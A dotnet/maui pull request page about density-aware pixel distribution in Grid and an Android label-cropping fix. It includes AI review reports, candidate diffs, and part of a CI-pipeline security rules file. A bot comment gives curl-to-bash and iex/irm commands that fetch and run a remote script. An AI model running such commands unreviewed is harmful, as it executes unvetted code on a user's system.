Skip to content

Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices#31755

Open
NanthiniMahalingam wants to merge 6 commits into
dotnet:mainfrom
NanthiniMahalingam:issue-fix-28117

Conversation

@NanthiniMahalingam
Copy link
Copy Markdown
Contributor

@NanthiniMahalingam NanthiniMahalingam commented Sep 24, 2025

Note

Are you waiting for the changes in this PR to be merged?
It would be very helpful if you could test the resulting artifacts from this PR and let us know in a comment if this change resolves your issue. Thank you!

Description of Change

  1. DensityValue Struct
    Introduces an internal DensityValue struct that tracks both dp and pixel values:

internal readonly struct DensityValue
{
public double Dp => RawPx / Density;
public double Density { get; }
public double RawPx { get; }

// Distributes pixels with error accumulation like Android
public static int[] DistributePixels(double totalPixels, double density, double[] portions)

}

  1. Enhanced Grid Layout
    Modifies GridLayoutManager.ResolveStars() to use density-aware distribution when available, falling back to the original algorithm when density information is unavailable.

  2. Pixel-Perfect Distribution
    The DistributePixels method implements Android's approach of accumulating rounding errors and assigning remainder pixels to the final elements:

// 293.4dp × 2.625 density = 770.175px across 3 equal columns
// Result: [256, 257, 257] pixels (total: 770px) ✓
// Instead of: [257, 257, 257] pixels (total: 771px)

  1. Calculating the pixel
    To eliminate the pixel difference, the frame's right value was calculated as the sum of the frame's left value and width, while the frame's bottom value was calculated as the sum of the frame's top value and height in the ToPixels conversion method within ContextExtensions.

Issues Fixed

Fixes #28117
Fixes #30017

Closed PR #30340 due to unwanted changes introduced during rebasing, so I am creating this new PR.

Output

Android platform

Before After
image image

Copilot AI review requested due to automatic review settings September 24, 2025 10:12
@dotnet-policy-service dotnet-policy-service Bot added community ✨ Community Contribution partner/syncfusion Issues / PR's with Syncfusion collaboration labels Sep 24, 2025
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request Overview

This PR introduces density-aware layout calculations in Grid to eliminate pixel rounding discrepancies that cause layout issues on Android devices. The key change is the adoption of a DensityValue struct that tracks both density-independent pixels (dp) and physical pixels to enable precise pixel-perfect distribution.

  • Introduces DensityValue struct for pixel-perfect layout calculations
  • Modifies Grid layout manager to use density-aware star distribution
  • Fixes pixel calculation precision in Android's ToPixels conversion method

Reviewed Changes

Copilot reviewed 8 out of 54 changed files in this pull request and generated 5 comments.

Show a summary per file
File Description
src/Core/src/Layouts/DensityValue.cs New struct for tracking dp and pixel values with precise distribution algorithm
src/Core/src/Layouts/GridLayoutManager.cs Updated to use DensityValue throughout and implement density-aware star sizing
src/Core/src/Platform/Android/ContextExtensions.cs Fixed pixel calculation to use width/height instead of right/bottom coordinates
src/Core/src/IViewWithWindow.cs New interface to enable window access for density retrieval
src/Core/src/Platform/ElementExtensions.cs Enhanced GetWindow method to support IViewWithWindow interface
src/Core/tests/UnitTests/Layouts/GridLayoutManagerDensityTest.cs Comprehensive unit tests for DensityValue pixel distribution
src/Controls/tests/TestCases.HostApp/Issues/Issue28117.cs Test case reproducing the border/label cropping issue
src/Controls/tests/TestCases.Shared.Tests/Tests/Issues/Issue28117.cs UI test for validating the fix

}



Copy link

Copilot AI Sep 24, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] Remove the unnecessary blank line at line 40 to improve code readability.

Suggested change

Copilot uses AI. Check for mistakes.
}

static void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize, double spacing, double starCount, bool limitStarSizes)
void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize, double spacing, double starCount, bool limitStarSizes)
Copy link

Copilot AI Sep 24, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The method signature change from 'static' to instance method is a breaking change to the internal API. Consider maintaining the static signature and passing density as a parameter instead.

Copilot uses AI. Check for mistakes.
Comment on lines 968 to +995

var scale = (fullTargetSize - definition.MinimumSize) / totaldiff;
var portion = scale * availableSpace;
definition.Size = definition.MinimumSize + portion;
}
}
/// <summary>
/// Gets the display density for density-aware calculations.
/// </summary>
/// <returns>The display density, or 1.0 if not available.</returns>
double GetDensity()
Copy link

Copilot AI Sep 24, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] Remove the unnecessary blank line at line 990 to maintain consistent spacing with other methods.

Copilot uses AI. Check for mistakes.
Comment on lines +1279 to +1280
Size = new DensityValue(0.0);
MinimumSize = new DensityValue(0.0);
Copy link

Copilot AI Sep 24, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] Consider extracting DensityValue.Zero as a static property to avoid repeated instantiation of zero values and improve code readability.

Suggested change
Size = new DensityValue(0.0);
MinimumSize = new DensityValue(0.0);
Size = DensityValue.Zero;
MinimumSize = DensityValue.Zero;

Copilot uses AI. Check for mistakes.

// Total weight = 8, with right-to-left distribution:
// portions[0]=3: floor(333 * 3/8) = floor(124.875) = 124
// portions[1]=2: floor(333 * 2/8) = floor(83.25) = 83
Copy link

Copilot AI Sep 24, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove the trailing space after '83' to maintain consistent formatting.

Suggested change
// portions[1]=2: floor(333 * 2/8) = floor(83.25) = 83
// portions[1]=2: floor(333 * 2/8) = floor(83.25) = 83

Copilot uses AI. Check for mistakes.
@rmarinho
Copy link
Copy Markdown
Member

rmarinho commented Feb 18, 2026

🤖 AI Summary

📊 Expand Full Review
🔍 Pre-Flight — Context & Validation
📝 Review SessionAdded device test · 6737f23

PR: #31755 - Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices
Author: NanthiniMahalingam
Issues Fixed:

Platforms Affected: Android only

Issue Summary

Issue #28117: On Android devices with specific DPI/resolution (e.g., Pixel 7 with dpi=420, 1080x2400), labels embedded in layouts with non-zero padding/margin are incorrectly clipped. The root cause is fractional pixel rounding — when dp values are converted to px, independent rounding of left/right coordinates can cause a 1-2px width discrepancy, clipping the content.

Issue #30017 (Proposal): Introduces DensityValue struct to track both dp and pixel values, enabling error-accumulation distribution that matches Android's native layout behavior.

Files Changed (45 files)

Implementation files:

  • src/Core/src/Layouts/DensityValue.cs (NEW) - Internal struct for density-aware pixel math with DistributePixels method
  • src/Core/src/Layouts/GridLayoutManager.cs - Uses DensityValue for star-sized column/row distribution
  • src/Core/src/Platform/Android/ContextExtensions.cs - ToPixels fix: frame right = left + width (avoids independent rounding)
  • src/Controls/src/Core/View/View.cs - Adds IViewWithWindow interface to expose display density
  • src/Core/src/Interfaces/IViewWithWindow.cs (NEW) - Interface for accessing window from view
  • src/Core/tests/UnitTests/Layouts/GridLayoutManagerDensityTest.cs (NEW) - Unit tests for DensityValue distribution

Test files:

  • src/Controls/tests/TestCases.HostApp/Issues/Issue28117.cs (NEW) - UI test page
  • src/Controls/tests/TestCases.Shared.Tests/Tests/Issues/Issue28117.cs (NEW) - UI test (screenshot)
  • src/Controls/tests/TestCases.Android.Tests/snapshots/android/ShouldDisplayLabelWithoutBeingCroppedInsideBorder.png (NEW) - Baseline snapshot
  • src/Controls/tests/DeviceTests/Elements/View/ViewTests.Android.cs - Improved assertion message
  • src/Controls/tests/DeviceTests/Stubs/WindowHandlerStub.Android.cs - Added CommandMapper for RequestDisplayDensity
  • Multiple snapshot files updated (RadioButton, ImageButton, ToolbarItem, etc.)

Reviewer Feedback (Automated - copilot-pull-request-reviewer)

File:Line Reviewer Says Status
DensityValue.cs:41 [nitpick] Remove unnecessary blank line ⚠️ OPEN
GridLayoutManager.cs:845 ResolveStars() signature changed from static to instance - breaking internal API change ⚠️ OPEN
GridLayoutManager.cs:995 [nitpick] Remove unnecessary blank line ⚠️ OPEN
GridLayoutManager.cs:1280 [nitpick] Consider DensityValue.Zero static property ⚠️ OPEN
GridLayoutManagerDensityTest.cs:114 Remove trailing space in comment ⚠️ OPEN

No human reviewer comments beyond automated bot.

Fix Candidates

# Source Approach Test Result Files Changed Notes
PR PR #31755 New DensityValue struct + GridLayoutManager star distribution + ContextExtensions ToPixels fix (frame.right = left + width) ⏳ PENDING (Gate) 45 files (+616/-57) Original PR

Key Concerns

  1. Scope creep: PR changes View.cs to implement IViewWithWindow - this adds a new interface to a public class that may not be needed for the fix
  2. Many snapshot updates: 16+ existing snapshots updated - this could indicate the fix has unintended visual effects on other tests
  3. Device-dependent test: The Issue28117 test uses a hardcoded padding value 70.89827027958738 - may only reproduce on specific device densities
  4. Internal API change: GridLayoutManager.ResolveStars() changed from static to instance method

🚦 Gate — Test Verification
📝 Review SessionAdded device test · 6737f23

Result: ✅ PASSED
Platform: android
Mode: Full Verification

Check Expected Actual Result
Tests WITHOUT fix FAIL FAIL
Tests WITH fix PASS PASS
  • Tests FAIL without fix ✅ (bug is present - label is cropped)
  • Tests PASS with fix ✅ (bug is fixed - label displays correctly)

Test: Issue28117.ShouldDisplayLabelWithoutBeingCroppedInsideBorder

Fix Files Verified:

  • src/Core/src/Layouts/GridLayoutManager.cs
  • src/Core/src/Platform/Android/ContextExtensions.cs
  • src/Controls/src/Core/View/View.cs
  • src/Core/src/Platform/ElementExtensions.cs

🔧 Fix — Analysis & Comparison
📝 Review SessionAdded device test · 6737f23

Fix Candidates

# Source Approach Test Result Files Changed Notes
PR PR #31755 DensityValue struct + GridLayoutManager star distribution + ContextExtensions ToPixels fix (frame.right = left + width) ✅ PASS (Gate) 45 files (+616/-57) Original PR

Try-Fix Attempts

Attempts Skipped: All 5 models blocked by rate limiting (429 Too Many Requests) on the task agent.

Attempt Model Status Reason
1 claude-sonnet-4.5 ⛔ BLOCKED Rate limit (429)
2 claude-haiku-4.5 ⛔ BLOCKED Rate limit (429)
3-5 Others ⛔ SKIPPED Rate limit still active

Exhausted

Exhausted: No (blocked by environment - rate limiting)

Selected Fix: PR's fix - The only validated solution. Tests confirm it correctly fixes the bug (FAIL without → PASS with fix).


📋 Report — Final Recommendation
📝 Review SessionAdded device test · 6737f23

⚠️ Final Recommendation: REQUEST CHANGES

Summary

PR #31755 fixes two related Android pixel-rounding issues (#28117, #30017) and the test correctly validates the fix. However, several concerns require addressing before merge.

Gate result: ✅ PASSED — Tests fail without the fix, pass with it.


Root Cause

Issue #28117 (Label cropping in Border):
When a Border has a fractional dp padding (e.g., 70.89827027958738), the previous ContextExtensions.ToPixels(Rect) computed right and left independently via rounding, causing a 1-2px discrepancy: (int)ToPixels(left) + (int)ToPixels(right)(int)ToPixels(left) + (int)ToPixels(width). The fix computes right = left + (int)(width * density), eliminating the off-by-one.

Issue #30017 (Grid pixel-aware layout):
On high-DPI screens, distributing available space across star-sized columns produces fractional pixel values. Without error accumulation, independent rounding causes overlap or gaps. The new DensityValue.DistributePixels mirrors Android's approach of accumulating rounding errors and assigning them to the rightmost elements.


Fix Quality

The ContextExtensions.ToPixels(Rect) fix is minimal, targeted, and correct. The DensityValue struct and GridLayoutManager changes are more complex but include unit tests (GridLayoutManagerDensityTest.cs).


Code Review Concerns

🚨 Critical: Windows Snapshots Changed Unexpectedly

The PR modifies 7+ WinUI test snapshots without explanation in the description:

  • ButtonsLayoutResolveWhenParentSizeChangesSizeButtonsDownPortrait.png
  • Issue15330Test.png, Issue24414Test.png (3 variants)
  • Issue2775Test.png

Why this matters: The GridLayoutManager.ExpandStars changes apply to ALL platforms via GetDensity(). On Windows, View now implements IViewWithWindow, so display density is retrieved and used in DensityValue.DistributePixels for star columns/rows. This changes Windows layout behavior. The PR should:

  1. Confirm these Windows snapshot changes are intentional improvements, not regressions
  2. Add a note in the description explaining the cross-platform impact

⚠️ Important: PR Scope and Separation

This PR combines two distinct fixes:

  1. A ~10 line ContextExtensions.ToPixels(Rect) fix (the actual fix for [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117)
  2. A ~600 line DensityValue struct + GridLayoutManager overhaul (the fix for Proposal: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout #30017)

These are orthogonal changes and would be easier to review and rollback separately. The DensityValue/Grid changes are a significant feature addition, not just a bug fix.

⚠️ Important: 16+ Android Snapshots Updated

Many existing Android test snapshots were updated (RadioButton, ImageButton, Toolbar, Shadow). The description doesn't explain whether these are expected improvements or unexpected visual changes. Given the ContextExtensions.ToPixels(Rect) change affects all rectangle-to-pixel conversions on Android, this is expected — but the PR should call this out explicitly.

ℹ️ Automated Reviewer Nitpicks (should fix before merge)

From copilot-pull-request-reviewer:

  1. DensityValue.cs:41 — Unnecessary blank line
  2. GridLayoutManager.cs:845ResolveStars() changed from static to instance method (internal API change, should be noted)
  3. GridLayoutManager.cs:995 — Unnecessary blank line
  4. GridLayoutManager.cs:1280 — Consider DensityValue.Zero static property
  5. GridLayoutManagerDensityTest.cs:114 — Trailing space in comment

Fix Candidates

# Source Approach Test Result Files Changed Notes
PR PR #31755 DensityValue struct + Grid DistributePixels + ContextExtensions ToPixels fix ✅ PASS (Gate) 45 files (+616/-57) Original PR

Try-fix exploration: Skipped — task agent blocked by rate limiting (429). PR's fix is the only validated solution.


Suggested Changes for Author

  1. Explain Windows snapshot changes — In the PR description, add a section explaining that the GridLayoutManager changes affect Windows Grid layout (improved pixel distribution) and confirm the updated snapshots are correct
  2. Consider splitting the PR — The ContextExtensions fix is simple and could ship faster as a separate PR ([Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117 fix). The DensityValue/Grid work (Proposal: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout #30017) is larger and could be reviewed more thoroughly as a standalone PR
  3. Address automated reviewer comments — Remove unnecessary blank lines and trailing spaces

Test Validation

  • Issue28117.ShouldDisplayLabelWithoutBeingCroppedInsideBorder — FAILS without fix (bug reproduced), PASSES with fix
  • Platform: Android

📋 Expand PR Finalization Review
Title: ⚠️ Needs Update

Current: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices

Recommended: [Android] Fix label cropping in Border and Grid star-column pixel gaps via DensityValue layout

Description: ⚠️ Needs Update

Description needs updates. See details below.

✨ Suggested PR Description

[!NOTE]
Are you waiting for the changes in this PR to be merged?
It would be very helpful if you could test the resulting artifacts from this PR and let us know in a comment if this change resolves your issue. Thank you!

Root Cause

Issue #28117 — Label cropping in Border:
ContextExtensions.ToPixels(Context, Rect) was converting each edge of the rectangle independently. Because each double → int cast is rounded separately, the independently converted Right and Bottom values could differ by 1 pixel from Left + Width and Top + Height, causing the content area to be 1px narrower than expected and clipping the label text.

Issue #30017 — Grid star-column pixel gaps:
In high-DPI environments, dividing available dp space across * columns often produces fractional pixel values. MAUI Grid was assigning column sizes via naive double division without accumulating rounding error, resulting in total allocated pixels that differ from the actual container by 1+ pixel — causing layout gaps, overlap, or clipped content.

Description of Change

1. ContextExtensions.ToPixels fix (label cropping — Android only)
Computed right as left + (int)context.ToPixels(rectangle.Width) and bottom as top + (int)context.ToPixels(rectangle.Height) instead of independently converting each edge. This ensures Right and Bottom are always exactly Left+Width and Top+Height in pixel space.

2. New DensityValue struct (src/Core/src/Layouts/DensityValue.cs)
Internal struct that tracks both a dp value and its corresponding physical pixels (RawPx = Dp * Density). Provides arithmetic operators and DistributePixels(totalPixels, density, portions[]) — a static method that allocates pixel counts using floor + right-to-left remainder distribution (matches Android's native behavior):

// 293.4dp × 2.625 density = 770.175px across 3 equal columns
// DistributePixels → [256, 257, 257] = 770px ✓
// Naive rounding → [257, 257, 257] = 771px ✗ (overflow by 1px)

3. Grid star-column density-aware distribution
GridLayoutManager.ExpandStarDefinitions (internal class) now calls GetDensity() to retrieve the window display density, then uses DensityValue.DistributePixels to allocate pixel counts to * columns/rows, eliminating off-by-one errors from independent rounding. GetDensity() returns 1.0 when no window is available (safe fallback for unit tests and pre-attach layout passes).

4. New IViewWithWindow interface (src/Core/src/IViewWithWindow.cs)
Temporary internal interface allowing GridLayoutManager to access IWindow from the grid view without taking a direct dependency on the handler chain. View implements this interface by forwarding its existing Window property.

// TODO Delete this in NET10 and just add it with a default implementation to IView
internal interface IViewWithWindow
{
    IWindow? Window { get; }
}

5. ElementExtensions.GetWindow improvement
GetWindow(IElement) now checks IViewWithWindow.Window first, then GetHostedWindow(), before falling back to the handler chain — enabling density resolution earlier in the view lifecycle.

Platforms Affected

  • Android — primary target; both fixes directly address Android rendering
  • All platformsDensityValue distribution is active for any platform where RequestDisplayDensity() returns a non-1.0 value (including high-DPI Windows). Falls back safely to 1.0 when no window is available.

Key Technical Details

Density access chain:

GridLayoutManager.GetDensity()
  → (_grid as IViewWithWindow)?.Window
  → IWindow.RequestDisplayDensity()
  → returns 1.0 if unavailable (safe fallback)

Definition.Size and Cell.MeasureWidth/Height changed from double to DensityValue. The implicit DensityValue → double operator returns .Dp, so all downstream code using .Size directly still works. Arithmetic on Definition.Size uses .Dp explicitly in places where only the dp value is needed.

What NOT to Do (for future agents)

  • Don't convert each Rect edge independently — Always compute right = left + width_px and bottom = top + height_px to avoid independent rounding errors
  • Don't assign * column sizes by simple targetStarSize * weight — Use DensityValue.DistributePixels to accumulate remainder pixels; naive rounding causes 1px overflow
  • Don't access display density from Platform layer directly in GridLayoutManager — The layout manager is in Core and must use IViewWithWindow/IWindow.RequestDisplayDensity() to stay layer-agnostic

Issues Fixed

Fixes #28117
Fixes #30017

Output

Android platform

Before After
Before After
Code Review: ⚠️ Issues Found

Code Review — PR #31755

🔴 Critical Issues

1. ExpandStarDefinitions changed from static to instance method without addressing reviewer feedback

File: src/Core/src/Layouts/GridLayoutManager.cs (line ~845)
Problem: The Copilot auto-reviewer flagged this: the method was originally static void ExpandStarDefinitions(...). Changing it to an instance method breaks internal consistency of the nested GridLayoutManager.GridStructure class, where other helper methods are static. The reviewer's suggestion was to pass density as a parameter instead. This feedback was not addressed.

Recommendation: Restore static and pass density as a parameter:

static void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize, 
                                   double spacing, double starCount, bool limitStarSizes, double density)

The caller (ResolveStarColumns, ResolveStarRows) can call GetDensity() and pass it in:

var density = GetDensity();
ExpandStarDefinitions(definitions, ..., density);

This keeps the helper methods consistent and testable without needing an instance.


🟡 Suggestions

2. Private constructor uses unused discriminator parameter

File: src/Core/src/Layouts/DensityValue.cs
Problem: The private constructor DensityValue(double rawPx, double density, bool fromPixels) uses a bool fromPixels parameter solely to distinguish it from the public DensityValue(double dp, double density) constructor. The fromPixels value is never checked.

// Current - fromPixels is unused
private DensityValue(double rawPx, double density, bool fromPixels)
{
    RawPx = rawPx;
    Density = density;
}

Recommendation: Use a static factory method pattern consistently, removing the confusing private constructor:

// FromPixels already exists as a public static factory - just make the private ctor cleaner
private DensityValue(double rawPx, double density)  // Private; always means "from pixels"
{
    RawPx = rawPx;
    Density = density;
}

Or since FromPixels is already a public static factory method that calls this constructor, just make the private constructor take only rawPx and density without the discriminator bool.


3. DensityValue arithmetic operators throw on mismatched density

File: src/Core/src/Layouts/DensityValue.cs
Problem: The + and - operators throw ArgumentException when densities differ and neither is 1.0. The special-casing logic (treat 1.0-density values as same-density) is fragile for future callers who might not realize this constraint.

throw new ArgumentException("Cannot add DensityValues with different densities.");

Risk: If any future code path creates two DensityValue instances from different display contexts and adds them, this will throw at runtime with no compile-time warning.

Recommendation: Add XML documentation on the operators clearly stating the constraint, or consider removing the operators and requiring explicit .Dp access for arithmetic, since the implicit conversion to double already provides natural dp-based arithmetic.


4. Missing newline at end of new files

Files: src/Core/src/Layouts/GridLayoutManager.cs, src/Core/src/IViewWithWindow.cs
Problem: Both files end with \ No newline at end of file in the diff. This causes minor Git diff noise and violates standard .NET formatting conventions.

Recommendation: Add a trailing newline to both files.


5. System.Linq added to performance-critical layout code

File: src/Core/src/Layouts/GridLayoutManager.cs
Problem: using System.Linq; was added to use .Where() and .Select() inside ExpandStars, which is called during every layout pass containing * columns/rows. LINQ creates enumerator allocations on the heap.

var starDefinitions = defs.Where(d => d.IsStar).ToArray();   // heap allocation
var portions = starDefinitions.Select(d => targetStarSize * d.GridLength.Value).ToArray(); // heap allocation

Recommendation: Replace LINQ with pre-allocated arrays or a manual loop to match the allocation profile of the surrounding code:

// Count first, then fill
int starCount2 = 0;
for (int i = 0; i < defs.Length; i++)
    if (defs[i].IsStar) starCount2++;

var starDefinitions = new Definition[starCount2];
var portions = new double[starCount2];
int idx = 0;
for (int i = 0; i < defs.Length; i++)
{
    if (defs[i].IsStar)
    {
        starDefinitions[idx] = defs[i];
        portions[idx] = targetStarSize * defs[i].GridLength.Value;
        idx++;
    }
}

✅ Looks Good


@rmarinho rmarinho added s/agent-changes-requested AI agent recommends changes - found a better alternative or issues s/agent-gate-passed AI verified tests catch the bug (fail without fix, pass with fix) s/agent-fix-lose Author adopted the agent's fix and it turned out to be bad s/agent-reviewed PR was reviewed by AI agent workflow (full 4-phase review) labels Feb 18, 2026
@kubaflo kubaflo added s/agent-fix-pr-picked AI could not beat the PR fix - PR is the best among all candidates and removed s/agent-fix-lose Author adopted the agent's fix and it turned out to be bad labels Feb 20, 2026
@github-actions
Copy link
Copy Markdown
Contributor

github-actions Bot commented Mar 30, 2026

🚀 Dogfood this PR with:

⚠️ WARNING: Do not do this without first carefully reviewing the code of this PR to satisfy yourself it is safe.

curl -fsSL https://raw.githubusercontent.com/dotnet/maui/main/eng/scripts/get-maui-pr.sh | bash -s -- 31755

Or

  • Run remotely in PowerShell:
iex "& { $(irm https://raw.githubusercontent.com/dotnet/maui/main/eng/scripts/get-maui-pr.ps1) } 31755"

@Vignesh-SF3580
Copy link
Copy Markdown
Contributor

⚠️ Merge Conflict Detected — This PR has merge conflicts with its target branch. Please rebase onto the target branch and resolve the conflicts.

I have resolved the conflicts.

Copy link
Copy Markdown
Contributor

@kubaflo kubaflo left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you please check the AI's summary?

@Vignesh-SF3580
Copy link
Copy Markdown
Contributor

Vignesh-SF3580 commented Apr 9, 2026

Could you please check the AI's summary?

@kubaflo Based on the AI summary, it suggested that changes in ContextExtensions alone are sufficient to resolve issue #28117 (along with android resaved snapshots). However, this PR also includes improvements for issue #30017 based on PR #30020. Therefore, removing the additional file changes would not be appropriate. All included changes are necessary to address the mentioned issues.

@MauiBot MauiBot added s/agent-fix-win AI found a better alternative fix than the PR and removed s/agent-fix-pr-picked AI could not beat the PR fix - PR is the best among all candidates labels Apr 9, 2026
@dotnet dotnet deleted a comment from MauiBot May 3, 2026
@dotnet dotnet deleted a comment from MauiBot May 3, 2026
@dotnet dotnet deleted a comment from MauiBot May 3, 2026
Copy link
Copy Markdown
Collaborator

@MauiBot MauiBot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤖 Automated review — alternative fix proposed

The expert-reviewer evaluation compared the PR fix against #1 automatically generated candidates and selected try-fix-1 as the strongest fix.

Why: try-fix-1 wins: it fixes issue #28117 with a 1-file, 16-line surgical change to ContextExtensions.cs, passes all 280 regression tests (no regressions), and correctly fixes BOTH ToPixels(Rect) overloads (View + Context) while the PR only fixed one. The PR's DensityValue approach fails 3 regression tests due to integer truncation at density=1.0 and introduces LINQ allocations in the layout hot path.

Please consider applying the candidate diff below (or use it as guidance). Once you push an update, this workflow will re-trigger and re-evaluate.

Candidate diff (`try-fix-1`)
diff --git a/src/Core/src/Platform/Android/ContextExtensions.cs b/src/Core/src/Platform/Android/ContextExtensions.cs
index c2967afe13..f38b86e531 100644
--- a/src/Core/src/Platform/Android/ContextExtensions.cs
+++ b/src/Core/src/Platform/Android/ContextExtensions.cs
@@ -124,23 +124,27 @@ namespace Microsoft.Maui.Platform
 
 		internal static (int left, int top, int right, int bottom) ToPixels(this View view, Graphics.Rect rectangle)
 		{
+			var left = (int)view.ToPixels(rectangle.Left);
+			var top = (int)view.ToPixels(rectangle.Top);
 			return
 			(
-				(int)view.ToPixels(rectangle.Left),
-				(int)view.ToPixels(rectangle.Top),
-				(int)view.ToPixels(rectangle.Right),
-				(int)view.ToPixels(rectangle.Bottom)
+				left,
+				top,
+				left + (int)view.ToPixels(rectangle.Width),
+				top + (int)view.ToPixels(rectangle.Height)
 			);
 		}
 
 		public static (int left, int top, int right, int bottom) ToPixels(this Context context, Graphics.Rect rectangle)
 		{
+			var left = (int)context.ToPixels(rectangle.Left);
+			var top = (int)context.ToPixels(rectangle.Top);
 			return
 			(
-				(int)context.ToPixels(rectangle.Left),
-				(int)context.ToPixels(rectangle.Top),
-				(int)context.ToPixels(rectangle.Right),
-				(int)context.ToPixels(rectangle.Bottom)
+				left,
+				top,
+				left + (int)context.ToPixels(rectangle.Width),
+				top + (int)context.ToPixels(rectangle.Height)
 			);
 		}

@kubaflo
Copy link
Copy Markdown
Contributor

kubaflo commented May 4, 2026

/azp run maui-pr-uitests

@azure-pipelines
Copy link
Copy Markdown

Azure Pipelines successfully started running 1 pipeline(s).

@kubaflo
Copy link
Copy Markdown
Contributor

kubaflo commented May 24, 2026

/review -b feature/refactor-copilot-yml

Copy link
Copy Markdown
Contributor

@kubaflo kubaflo left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Tests are failing - could you please verify?

@kubaflo
Copy link
Copy Markdown
Contributor

kubaflo commented May 28, 2026

/review -b feature/refactor-copilot-yml

Copy link
Copy Markdown
Collaborator

@MauiBot MauiBot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤖 Automated review — alternative fix proposed

The expert-reviewer evaluation compared the PR fix against #3 automatically generated candidates and selected try-fix-3 as the strongest fix.

Why: try-fix-3 wins because it is the complete candidate with passing available regression/build evidence: it fixes Android Rect conversion for both overloads and removes Grid hot-path LINQ/array allocations while preserving density-aware star distribution. The raw PR failed the supplied gate, and pr-plus-reviewer is equivalent in direction but lacks independent recorded test evidence.

Please consider applying the candidate diff below (or use it as guidance). Once you push an update, this workflow will re-trigger and re-evaluate.

Candidate diff (`try-fix-3`)
diff --git a/.github/instructions/ci-copilot-pipeline-security.instructions.md b/.github/instructions/ci-copilot-pipeline-security.instructions.md
new file mode 100644
index 0000000000..b77f099041
--- /dev/null
+++ b/.github/instructions/ci-copilot-pipeline-security.instructions.md
@@ -0,0 +1,52 @@
+---
+description: "Security rules for the Copilot PR-review pipeline. Read before editing."
+applyTo: "eng/pipelines/ci-copilot.yml,eng/scripts/detect-ui-test-categories.ps1,.github/scripts/**,.github/pr-review/**,.github/skills/pr-review/**,.github/skills/verify-tests-fail-without-fix/**,.github/skills/try-fix/**,.github/skills/run-device-tests/**,.github/workflows/review-trigger.yml,.github/workflows/pr-review-queue.yml,.github/workflows/copilot-evaluate-tests.*"
+---
+
+# CI Copilot pipeline — security rules
+
+This pipeline runs **untrusted PR code** on AzDO agents with these tokens in scope:
+
+- `GH_COMMENT_TOKEN` / `GH_TOKEN` — `maui-bot` PAT (post comments, labels, reviews on any PR)
+- `COPILOT_GITHUB_TOKEN` — Copilot CLI install token
+- AzDO GitHub service-connection PAT — repo contents, PRs, checks, workflows
+
+Once the PR is merged into the worktree, the author controls every `.csproj`, `Directory.Build.targets`, source generator, analyzer, test, `.ps1`, and `.yml` the pipeline subsequently runs.
+
+## Rules
+
+1. **Per-task `env:` scoping.** Only put tokens a task needs. The Copilot-agent task gets `COPILOT_GITHUB_TOKEN` only — never `GH_TOKEN`. Pass `--secret-env-vars=GH_TOKEN,GITHUB_TOKEN,COPILOT_GITHUB_TOKEN` to the Copilot CLI.
+
+2. **`persistCredentials: false` on every `checkout: self`** unless the task pushes. Default checkout writes the service-connection PAT into `.git/config` as `extraheader`, readable by any subprocess.
+
+3. **Trusted-copy scripts before merging the PR.** Setup task (still on `main`) copies `.github/scripts`, `.github/skills`, `eng/scripts` to `$(Build.ArtifactStagingDirectory)/trusted-github/`, then `chmod -R a-w`. Later tasks invoke scripts from `$TRUSTED/...`, never from the merged worktree. In PowerShell use `$ScriptsDir` / `$SkillsDir` / `$EngScriptsDir` (canonical impl in `Review-PR.ps1`). New post-merge scripts must be added to the Setup copy block.
+
+4. **Strip tokens before invoking PR-controlled code.** Wrap every `dotnet build|test|run|pack`, `msbuild`, `dotnet cake`, `BuildAndRun*.ps1`, `Run-DeviceTests.ps1`, `Invoke-UITestWithRetry.ps1` in `Invoke-WithoutGhTokens { ... }` (defined in `Review-PR.ps1` and `verify-tests-fail.ps1` — saves/clears/restores `GH_TOKEN`, `GITHUB_TOKEN`, `COPILOT_GITHUB_TOKEN`). **Wrap as close to the subprocess as possible, not at the outer trusted-script boundary** — a trusted script may itself need `gh` for metadata (e.g., `verify-tests-fail.ps1` calls `Detect-TestsInDiff.ps1` which uses `gh api`), so wrapping the whole script breaks its detection path. Wrap only the line that launches the PR-controlled process. Exception: scripts that ONLY call `gh` for PR metadata (`Detect-TestsInDiff.ps1`, `Find-RegressionRisks.ps1`, `detect-ui-test-categories.ps1`) don't need wrapping at all — they keep the token.
+
+5. **Cross-phase signal files in `$(Agent.TempDirectory)`** (or `$TRUSTED`), never `$RepoRoot/...`. PR code can overwrite anything in the worktree, including a gate verdict. Readers must not silently fall back to a worktree path if the trusted one is missing.
+
+6. **Strip `##vso[...]` from PR-controlled stdout.** Pipe through `tr -d '\r' | sed -E 's/##vso\[[^]]*\]//g'` — bare `sed` misses CRLF lines and the agent will execute the directive.
+
+7. **`gh-aw` workflows.** Pin compiler version (≥ v0.68.4 strips `pull-requests: write` per `gh-aw#28767`). Regenerate `.lock.yml` with `gh aw compile` in the **same commit** as any `.md` frontmatter edit (stale lock ⇒ all dispatches fail). `workflow_dispatch` triggers must restore trusted `.github/` from main (see `Checkout-GhAwPr.ps1`).
+
